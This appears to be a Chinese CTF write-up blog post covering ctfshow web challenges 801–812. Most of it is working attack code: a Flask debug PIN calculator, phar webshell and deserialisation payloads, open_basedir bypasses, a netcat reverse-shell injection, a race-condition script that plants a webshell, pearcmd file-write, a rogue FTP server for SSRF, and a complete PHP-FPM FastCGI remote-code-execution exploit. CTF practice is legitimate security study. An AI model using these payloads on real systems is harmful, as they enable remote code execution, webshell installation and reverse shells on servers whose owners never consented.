ctfshow 常见姿势

发布于: 2024-10-22 05:52

ctfshow 常见姿势

web801

flask pin值计算,读取文件,脚本计算pin码。梭哈

非预期:url/file?filename=/flag

预期:

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username,通过/etc/passwd
    'flask.app',  # modname,默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:0c:e8:a0'
address = int(address.replace(':', ''),16)
private_bits = [
    f'{address}',  # mac十进制值 /sys/class/net/eth0/address
    '225374fa-04bc-4346-9f39-48fa82829ca934b345d280f694439fa54c01aa968eef81f55a7e5baa3e39db57884e39217606'  # 看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

1

web802

限制非字母数字,可以用字符,自增构造字符

构造$_GET[_]($_GET[__])

<?php
$___=((''/'').'')[''==_];# $___ = N
$____=((''/'').'')[''==''];# $____ = A
++$____;
++$____;
++$____;
$_____=++$____; # $_____ = E

++$____;
++$____;
$______ = $____; # $______ = G

++$___;++$___;++$___;++$___;++$___;
$_______=++$___; # $______ = T# 

$________='_'.$______.$_____.$_______;
$$________[_]($$________[__]); # $_GET[_]($_GET[__])

简化

$___=((''/'').'')[''==_];$____=((''/'').'')[''==''];++$____;++$____;++$____;$_____=++$____;++$____;++$____;$______ = $____;++$___;++$___;++$___;++$___;++$___;$_______=++$___;$________='_'.$______.$_____.$_______;$$________[_]($$________[__]);

整个payload使用post发包,url编码一下,避免$,=具有特殊语意

2

web803

phar文件包含,第一次接触,后续详细学习一下

这里审计起来有点奇怪,不存在$file.txt就写一个$file,写了$file$file.txt不还是不存在?通过file_put_contents函数直接写🐎不现实了,可以了解到这里可以通过phar打包一个$file.txt到服务器,使文件包含成为了可能

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

生成phar文件,里面打包一个a.txt,内容为<?php highlight_file(__FILE__);eval($_POST[1]);?>

<?php
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php highlight_file(__FILE__);eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>

使用python发包

import requests

url="http://7fce7e3d-4206-4f91-b196-7536bde12046.challenge.ctf.show/"

data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
r = requests.post(url,data=data1)
print(r.text)

通过phar协议包含文件

3

web804

unlink会触发反序列化

class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}

$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file)){
        unlink($file);
    }else{
        file_put_contents($file,$content);
    }
}

重点在hacker类析构函数存在命令执行

<?php 
class hacker{
    public $code = 'system("tac /f*;tac f*");';
}
$a=new hacker();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "111");
$phar->stopBuffering();
?>

python发包

import requests

url="http://4d03da6f-da2a-4b1e-beb3-b1ad422e3af6.challenge.ctf.show/"

data1={'file':'/tmp/aa.phar','content':open('shell.phar','rb').read()}
r = requests.post(url,data=data1)
print(r.text)

4

web805

通过phpinfo()函数回显看到限定了目录,禁用了系统命令函数

open_basedir    /var/www/html
disable_classes SoapClient,mysqli,mysql,pdo,phar
disable_functions   system,exec,shell_exec,passthru,popen,fopen,popen,pcntl_exe 

参考文章open_basedir绕过

学习到一些姿势

通过glob://协议和原生类搭配利用,可以列出根目录文件

5

1=$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    printf($f->getFilename()."  ");
}

尝试使用原生类读取,失败了。看了单是原生类绕不过去

$f = new SplFileObject("php://filter/convert.base64-encode/resource=/ctfshowflag");
echo $f->fread($f->getSize());

scandir()函数搭配glob://协议,也可以列出根目录文件

var_dump(scandir('glob:///*'));

一个绕过思路

在当前文件夹/var/www/html里建立了子文件夹test,进入了子文件夹test,利用ini_set函数,把/var/www/html下的子目录test下,使用ini_set函数设置..上一级目录,也就是/var/www/html目录

我的思考:这里的..存在双重含义

  • /var/www/html
  • ..

因此,产生了目录穿越的利用点,通过chdir函数一直切到了根目录,最后把open_basedir设置在了根目录,使highlight_file函数读取了flag成了可能

mkdir('test');
chdir('test');
var_dump(ini_set('open_basedir','..'));
chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');
var_dump(ini_set('open_basedir','/'));
highlight_file('ctfshowflag');

web806

php无参RCE

只能使用无参函数

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

好在在ctfshow命令执行题单中记录了一下payload,获取最后一个定义的变量并执行,程序里最后一个定义的无法控制,可以在post里传入一个来执行

eval(array_pop(next(get_defined_vars())));

6

web807

题目使用了shell_exec函数,想尝试写文件来着,好像没有写,只能弹个shell了

https://baidu.com;nc ip port -e /bin/sh;

web808

session文件包含,脚本条件竞争

7

import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://092d8949-e4c3-4d0b-8478-240a371fd53c.challenge.ctf.show/'
sessionid = 'ctfshow'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        session.get(url + '?file=/tmp/sess_' + sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ''

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()

web809

过滤的不够严格,上一题的脚本仍然可以跑

8

学习下题目的预期考察知识pear,很新奇,第一次碰到

引入P牛师傅原话

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事

先包含pear文件,利用php的命令行参数config-create写文件,所以payload:

payload里存在&,+等特殊字符,直接使用hackbar发包会被编码失去原意,导致执行失败,所以要使用bp发包

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=highlight_file(__FILE__);eval($_POST[1]);?>+/tmp/11

天马行空

9

web810

SSRF打PHP-FPM

项目地址https://github.com/tarunkant/Gopherus,工具下载地址:https://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip

mkdir web810
cd web810
wget https://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip
unzip master.zip
cd Gopherus-master
python2 gopherus.py --exploit fastcgi

拿到的payload,在gopher://127.0.0.1:9000/后的内容还需要再url编码一下

10

11

web811

file_put_contents打PHP-FPM

利用FTP协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。假设此时发现内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。

重点在,ftp协议连接目标服务器时,目标服务器可以指定使用ftp客户端的ip和端口

那么在file_put_contents($file, $content);函数这里,如果$file是远程ftp服务器,在服务端进行设置,让$file指向127.0.0.1:9000,使用gopherus生成一个对php-fpm利用的payload赋值给$content

这样在连接ftp服务器后,指定到127.0.0.1:9000,php-fpm接收到$content数据包时可以实现执行命令

远程开启ftp协议

# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))        # ftp服务绑定23号端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) 
# "127,0,0,1"PHP-FPM服务为受害者本地,"9000"为为PHP-FPM服务的端口号
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

利用gopherus生成payload

python2 gopherus.py --exploit fastcgi
/var/www/html/index.php
nc ip port -e /bin/sh

这一题只利用下划线后面的内容,不用再次url编码,上一题url编码是因为get传参会解码一次,curl函数会解码一次,所以要多编码一次

12

利用:

注意,ftp协议端口后面加个斜杠,代表访问根目录

url?file=ftp://ip:21/&content=payload

13

web812

PHP-FPM未授权

详细原理:PHP-FPM 远程命令执行漏洞

简单讲:PHP-FPM未授权访问漏洞,PHP-FPM的服务端口没有做鉴权认证,允许其他主机通过FastCGI协议连接到PHP-FPM,进行通信。可以通过修改fastcgi报文,实现修改php的配置文件内容,利用php的文件包含配置项auto_prepend_fileauto_append_filephp://input,实现恶意文件包含RCE

直接利用exp吧

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

exp用法:

python3 exp.py -c '<?php php代码?>' -p 端口 pwn.challenge.ctf.show 存在的php文件

文件包含,需要一个存在的php文件,最简单的来做,可以直接使用/var/www/html/index.php

payload:

 python3 exp.py -c '<?php system("cat /f*");?>' -p 28141 pwn.challenge.ctf.show /var/www/html/index.php

14

除了index.php外,还可以本地docker复现一个与题目环境相同的php环境,在php的目录下,找存在的php文件尝试包含

docker run -d -p 80:80 --name myphp php:7.3-apache

进入容器命令行

docker exec -it myphp /bin/bash
ls /usr/local/lib/php/

15

尝试使用这些文件进行包含,发现**cmd.php文件不能直接用来包含,需要更改配置文件,System.phpPEAR.php可以

16

17

对于**cmd.php文件,需要更改配置项register_argc_argv=On,应该也是可以在fastcgi报文里实现的吧?(x)

可以在这里取经

参考: